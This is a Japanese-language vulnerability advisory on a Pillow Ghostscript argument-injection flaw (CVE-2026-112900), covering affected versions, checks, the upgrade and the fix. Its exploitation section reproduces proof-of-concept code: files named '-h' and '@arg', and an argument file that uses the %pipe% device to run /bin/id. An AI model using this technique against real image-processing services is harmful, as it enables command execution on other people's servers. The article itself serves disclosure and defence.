Pillow Ghostscriptの引数インジェクションによるRCE(CVE-2026-112900)
Pillow 2.6.0~12.3.0は、攻撃者が制御するEPSまたはPostScriptのファイル名をサニタイズせずにGhostscriptへ渡すため、引数インジェクションとコマンド実行が可能です。13.0.0で修正されています。
要点
- CVE-2026-112900は
PIL.EpsImagePlugin.Ghostscript()の引数インジェクションです。Pillowは呼び出し元が制御するEPSまたはPostScriptのファイル名を未検証のままGhostscriptの-fの位置に渡すため、-や@で始まる名前がファイル名ではなく、オプションや引数ファイルのトークンとして解釈されます。 - GitHubのアドバイザリレビューはクリティカル(CVSS v4.0 9.2)と評価しています。Pillow自身のアドバイザリは、攻撃者がファイル名を制御する必要があるため中程度としています。
- 2.6.0(2014年10月)から12.3.0までのすべてのPillowリリースが影響を受けます。修正済みバージョンは、2026年10月16日公開の13.0.0だけです。
- 報告者であるKAISTのCysecLabのChanu Kangは、Pillow 12.3.0とGhostscript 10.02.1および10.07.1で、Pillowのデフォルトの
-dSAFER設定下でもコマンド実行(idの実行)を確認しました。概念実証(PoC)はアドバイザリで公開されています。 - CISAのレコードは既知の悪用なしとしており、実環境の攻撃も報告されていません。
- すべての環境をPillow 13.0.0にアップグレードし、古いコピーに固定されたイメージを再ビルドしてください。信頼できない画像を開くホストには
gsバイナリを置かないでください。
影響を受けるか
以下の条件をすべて満たす場合に影響を受けます。
- Webのアップロードエンドポイント、アバターやサムネイルのサービス、文書やPDFの処理パイプライン、機械学習の前処理など、画像を処理する場所でPillow 2.6.0~12.3.0を使用している。
- コードがEPSまたはPostScript(PS)ファイル、またはその形式が混入し得るアップロードディレクトリ全体に対して
Image.open()(またはImage.open(...).load())を呼び、ファイルの提供者がファイル名に影響できる。保存名をユーザー入力から保持、派生、構築するアップロードエンドポイントが現実的な対象です。 - ホストにGhostscriptバイナリ(
gs)がインストールされている。PillowはEPSとPSの描画を外部のGhostscriptに委ねるためです。
| ソフトウェア | 影響を受けるバージョン | 修正バージョン |
|---|---|---|
Pillow(PyPIパッケージpillow) |
2.6.0~12.3.0、2014年10月以降の全リリース | 13.0.0(2026年10月16日) |
| Pillow 12.xへのバックポート | 存在しない | 13.0.0へ移行 |
アップロードを処理する環境とコンテナーイメージで、インストール済みのものを確認します。
python -m pip show pillow | grep -E '^(Name|Version)' # Name: pillow, Version: 12.3.0 means affected
python -c "import PIL; print(PIL.__version__)"
grep -inE 'pillow' requirements*.txt Pipfile.lock pyproject.toml poetry.lock 2>/dev/null # any pillow line: requirements, PEP 621 or Poetry pyproject, lockfiles
docker run --rm your-image python -m pip show pillow | grep Version
command -v gs && gs --version # Ghostscript presence on the image host
この欠陥では、ファイルのPostScriptの内容は関係ありません。引き金はファイル名です。まったく無害なEPSやPSファイルでも、攻撃者がその名前に影響できればインジェクションが発生します。
PillowはPyPIで週に約1億4,340万回ダウンロードされており、多くのPythonビルドやサービスのイメージに、影響バージョンが含まれる可能性があります。
修正方法
Pillow 13.0.0にアップグレードし、古いコピーを同梱するものを再ビルドします。
python -m pip install --upgrade "Pillow==13.0.0"
続いて、古いPillowを含むコンテナーイメージとベースイメージ、自社でPillowを同梱したwheelを再ビルドします。要件を更新しても、すでにイメージに組み込まれたものは変わらないためです。13.0.0はPython 3.10のサポートを終了しているため、3.10の環境では先にPython 3.11以降が必要な点に注意してください。
今日アップグレードできない場合、次の2つの対策で危険を減らせます。ただし制約があります。
- 信頼できない画像を開くホストから
gsバイナリを削除する。GhostscriptがなければPillowはEPSもPSも描画できず、脆弱なコードパスは実行されません。この問題を防げますが、EPSとPSの処理も無効になります。多くのサービスでは許容できる制約です。 - EPSまたはPSについて、攻撃者が影響できるファイル名を
Image.open()へ渡さない。アップロード時にUUIDやデータベースキーなど独自の保存名を生成するか、開く前にサーバーが選んだパスへコピーします。攻撃の前提を取り除けますが、すべてのコードパスが従うことに依存します。そのため、修正はPillow自身で行うべきです。
根本原因
Pillowは呼び出し元が制御するファイル名をそのまま使ってGhostscriptのコマンドラインを組み立てます。そのため、Ghostscriptが特別扱いする先頭の-オプションや@引数ファイルトークンが、その意味で解釈されます。
PillowがEPSまたはPostScriptを描画するとき(どちらもEpsImagePluginが処理)、src/PIL/EpsImagePlugin.pyのGhostscript()がコマンドを組み立て、サブプロセスを起動します。アドバイザリから引用した脆弱なコードです。
infile_temp = None
if hasattr(fp, "name") and os.path.exists(fp.name):
infile = fp.name # user-controlled path used as-is, without validation
else:
in_fd, infile_temp = tempfile.mkstemp()
os.close(in_fd)
infile = infile_temp
# ... (copy fp into a temporary file)
# Build Ghostscript command
command = [
gs_binary,
"-q",
# ... size and resolution options ...
"-dSAFER", # default sandbox; does NOT stop this injection
"-sDEVICE={device}",
"-sOutputFile={outfile}",
"-c",
"...",
"-f",
infile, # injected here: no check for a leading "-" (or "--") or "@"
"-c",
"showpage",
]
subprocess.check_call(command, ...)
fp.nameは、アップロードした人が選んだ名前を含む、ファイルを開いた際の名前です。ファイルオブジェクトにディスク上の名前がなければ、else分岐が安全なtempfile.mkstemp()のパスを作ります。そのため、脆弱なのは最初の分岐だけです。
infileの値は、引数リストの-fの直後に直接置かれます。正規化も、Ghostscriptの引数パーサーが特別扱いする2つの接頭辞のチェックもありません。
Ghostscriptは先頭の-(アドバイザリが挙げる--形式を含む)をオプション、先頭の@を引数ファイルのトークンと読みます。@argは、argというファイルから追加のコマンドライン引数を読む指示です。-dSAFERサンドボックスは、PostScriptができることを制約しますが、コマンドラインの解析方法は制約しないため介入しません。
悪用の仕組み
エクスプロイトはファイル名です。名前が-hなら、Image.open()によってgs ... -f -hになります。@argなら、Ghostscriptは攻撃者のargファイルから追加引数を読みます。
報告者の完全なPoCはアドバイザリにあります。ここでは不具合の説明に必要な部分を抜粋します。引数インジェクションの段階には、ファイル名だけで十分です。
name = "-h" # the attacker's chosen filename
with open(name, "wb") as f:
f.write(EPS) # a completely benign EPS document
im = Image.open(name)
im.load() # Ghostscript runs with "-f -h" and prints its help
-hというファイルはgs ... -f -hになり、Ghostscriptは描画の代わりにヘルプを表示します。名前が引数パーサーに届いた実証です。コマンド実行につなげるには、@形式と、攻撃者が同じく制御する2つ目のファイルが必要です。
name = "@arg" # Ghostscript reads its arguments from the file "arg"
with open(name, "wb") as f:
f.write(EPS)
im = Image.open(name)
im.load()
argファイルには、攻撃者が選んだGhostscriptの引数を入れます。
-sOutputFile=%pipe%/bin/id
-c
1
dict
dup
/OutputFile
(%pipe%/bin/id)
put
setpagedevice
@argというファイル名によって、Ghostscriptがargから追加のコマンドライン引数を読み、自身のコマンドラインへ加えます。%pipe%出力デバイスはGhostscriptに/bin/idを実行させ、そのプロセスへ描画出力を書き込みます。その結果コマンドが実行され、idが表示するuid=行が実行の実証になります。
報告者は、Pillow 12.3.0とGhostscript 10.02.1、さらにGhostscript 10.07.1でも、Pillowのデフォルト呼び出し(-dSAFER有効)でidが実行されることを確認しました。
単純な-hは単一引数のインジェクションとして常に成功します。リモートコード実行(RCE)形式では、参照先のテキストファイルの内容も制御する必要があり、アップロードエンドポイントでは2つ目のファイルのアップロードを意味します。
攻撃フロー
攻撃者が名前を制御するアップロードから、画像サービスのユーザーとしてシェルコマンドを実行するまでの連鎖です。
2つ目のファイルargをアップロード"] --> B["Image.open()が
EpsImagePlugin.Ghostscript()へ到達"] B --> C["-fの後に生の名前を置いて
コマンドリストを構築"] C --> D["Ghostscriptが@argを
引数ファイルトークンとして解析"] D --> E["攻撃者の2つ目のファイルの引数が
コマンドラインへ追加される"] E --> F["%pipe%がサービスユーザーとして
コマンドを実行"]
文章で表すと次のとおりです。
- 攻撃者が
@argという無害なEPSファイルと、argという2つ目のファイルをアップロードします。 Image.open()からEpsImagePlugin.Ghostscript()に到達し、生のファイル名を-fの直後に置きます。- Ghostscriptは
@argを引数ファイルトークンと解析し、argの引数をコマンドラインへ追加します。 - 注入された
%pipe%出力デバイスが、サービスユーザーとして攻撃者のコマンドを実行します。
攻撃者に可能なこと
gsがインストールされたホストで、EPSまたはPSファイルを対象とするImage.open()に届くファイル名を制御できる攻撃者は、次を実行できます。
- 任意のGhostscriptの単一コマンドライン引数を注入する。これは常に成功し、描画動作の変更、出力の転送、プロセスのクラッシュにつながる可能性がある
@name形式で参照する2つ目のファイルの内容も制御できる場合、Pythonプロセスの権限で任意のコマンドを実行する。報告者はidの実行で実証
アドバイザリとPoCは4つの条件を示しています。
- アプリケーションがファイルを受け付けるために要求するもの以外の認証は不要
- 保存されたファイル名が、攻撃者の選んだ先頭の
-や@を保持 - ホストに
gsが存在 - 引数インジェクションからコマンド実行に至るには、攻撃者が制御する2つ目のファイルが必要
影響はPostScriptの内容に依存しないため、アップロードから悪意あるEPSコンテンツを検出するスキャンでは対応できません。
修正が機能する理由
コミットa2c363141(2026年10月1日にマージされたプルリクエスト#10090)の修正は、引数リストに届く前にパスを正規化します。
infile_temp = None
if hasattr(fp, "name") and os.path.exists(fp.name):
- infile = fp.name
+ # Make the path absolute so that a filename beginning with "-" or "@"
+ # can never be interpreted by Ghostscript's argument parser
+ # as an option or an @-file token
+ infile = os.path.abspath(fp.name)
else:
in_fd, infile_temp = tempfile.mkstemp()
os.path.abspath()は、パス区切り文字(Windowsではドライブ文字)で始まるパスを返します。そのため、Ghostscriptに渡す文字列が-や@で始まることはなくなり、両方の特殊な形式が通常のファイル名になります。tempfile分岐は元から安全でした。
不具合を運んだ-fの位置に対する修正は完全です。また、-hというファイルを描画し、ヘルプ表示ではなく画像がデコードされることを確認する回帰テスト(test_filename_not_parsed_as_ghostscript_argument)も追加しています。
侵害されたかを確認する方法
この欠陥の侵害指標は公開されておらず、CISAのCVEレコードは悪用なしとしています。状況が変わるまでは、この欠陥が残し得る一般的な兆候を探してください。
- Pillowによる画像処理しか行わないホスト上のGhostscript(
gs)プロセス - アップロード保存領域にある、
-や@で始まるファイル名 - 画像処理リクエストの前後に、画像サービスのアカウントで発生する予期しない外向き通信やファイル操作
アップグレード前から存在するそのようなファイル名が見つかった場合、ホストが侵害された可能性があるとして扱い、そのホストから到達可能なすべての認証情報、トークン、シークレットをローテーションしてください。
経緯
- 2026-10-01:Pillowが修正コミット
a2c363141をマージ。EPS入力名を絶対パスへ変換。 - 2026-10-16:修正と回帰テストを含むPillow 13.0.0をリリース。
- 2026-10-21:PoCと検証済みのコマンド実行を含むアドバイザリGHSA-w889-685w-c8fhおよびCVE-2026-112900レコードを公開。
- 2026-10-26:本記事を公開。
よくある質問
影響を受けるにはGhostscriptのインストールが必要か?
この欠陥については、はい。PillowはEPSやPostScript(PS)ファイルの描画でGhostscriptを呼び出すため、gsバイナリのないホストでは、どちらの形式でも脆弱なコマンド構築に到達しません。gsを削除すれば、EPSとPSの対応を失う代わりに、この危険を取り除けます。
Pillowの-dSAFER設定で保護されるか?
いいえ。報告者のコマンド実行PoCは、-dSAFERを含むPillowのデフォルト呼び出しで、Ghostscript 10.02.1と10.07.1の両方で再現します。インジェクションは、サンドボックスが文書の動作を制約する前の、コマンドライン解析で発生します。
悪意あるEPS画像自体が危険なのか?
このCVEでは違います。欠陥はPostScriptの内容ではなくファイル名にあります。そのため、アドバイザリは、信頼できないEPSの内容を慎重に扱うというPillowの既存ガイダンスとは区別しています。画像の内容側の不具合は別の問題です。同じ13.0.0リリースは、CVE-2026-112398のFlashPixヒープオーバーフローなど、そうした問題も複数修正しています。
GitHubが9.2のクリティカル、Pillowが中程度と評価する理由は?
GitHubのアドバイザリレビューは、Ghostscriptのあるホストで攻撃者のファイル名を保持するアップロードエンドポイントという、現実的な最悪のケースをCVSS v4.0 9.2と評価しています。Pillowのページは、攻撃にファイル名への影響力が必要で、すべての構成がその前提を満たすわけではないため中程度としています。評価は各情報源の判断を反映しています。実際の危険は、自社のアップロード処理が攻撃者の選んだファイル名を保持するかで決まります。
アップグレードするとPython 3.10の環境が動かなくなるか?
その可能性があります。Pillow 13.0.0はPython 3.10のサポートを終了するため、先にPython 3.11以降が必要です。この修正の12.xバックポートはありません。Python 3.10環境ではPythonを更新するか、それまではgsバイナリを削除し、攻撃者が影響できるファイル名をImage.open()へ渡すことをやめる必要があります。
Pillow 13.0.0は他にどの欠陥を修正するか?
それぞれ条件の異なる別の欠陥ですが、同じリリースですべて修正されます。CVE-2026-112398(FlashPixのJPEGタイルのヒープオーバーフロー)、CVE-2026-112393(2013年から存在し、公開PoCのあるTIFFのメモリ内保存時のオーバーフロー)、CVE-2026-112403(ロスレスJPEGサムネイルのオーバーフロー)です。13.0.0へのアップグレードで、一連の問題にまとめて対応できます。
Pillowが13.0.0未満に固定されている場所を確認
Ostorlabでリポジトリ、コンテナーイメージ、インターネットに公開されたサービスをスキャンし、Pillowを13.0.0未満に固定したすべての環境と、信頼できないアップロード経路のそばにgsが存在するすべてのホストを見つけてください。
参考資料
- GHSA-w889-685w-c8fh。根本原因、PoC(poc.py、poc-rce.py、argファイル)、検証済みRCEを含むPillowのアドバイザリ。2026年10月21日公開。ベンダーページは中程度、GitHubのレビューはクリティカルと評価:https://github.com/python-pillow/Pillow/security/advisories/GHSA-w889-685w-c8fh (2026年10月26日確認)
- CVE-2026-112900レコード。GitHubの評価はCVSS v4.0 9.2、CWE-78とCWE-88、CISA ADPは悪用なしと記録:https://cveawg.mitre.org/api/cve/CVE-2026-112900 (2026年10月26日確認)
- 修正コミットa2c363141、「Transform EPS file name to an absolute path before invoking Ghostscript」、PR #10090:https://github.com/python-pillow/Pillow/commit/a2c363141da31a265dd536c945677db4b64f3ec9 (2026年10月26日確認)
- 2026年10月16日のPillow 13.0.0リリース。Python 3.10対応を終了し、関連する画像処理の欠陥を修正:https://github.com/python-pillow/Pillow/releases/tag/13.0.0 (2026年10月26日確認)
- 同じリリースの関連アドバイザリ。CVE-2026-112398 FlashPix(https://github.com/python-pillow/Pillow/security/advisories/GHSA-5x8w-8jj5-q52h)、CVE-2026-112393 TIFF(https://github.com/python-pillow/Pillow/security/advisories/GHSA-332p-7hrc-92wf)、CVE-2026-112403 JPEGサムネイル(https://github.com/python-pillow/Pillow/security/advisories/GHSA-8g5g-8vmr-9782) (2026年10月26日確認)
- pillowのPyPIダウンロード統計、週に約1億4,340万件:https://pypistats.org/api/packages/pillow/recent (2026年10月26日確認)
- 欠陥と一連のPillow修正に関する2026年10月23日のThe Hacker News報道:https://thehackernews.com/2026/10/critical-flaw-in-pythons-popular-pillow.html (2026年10月26日確認)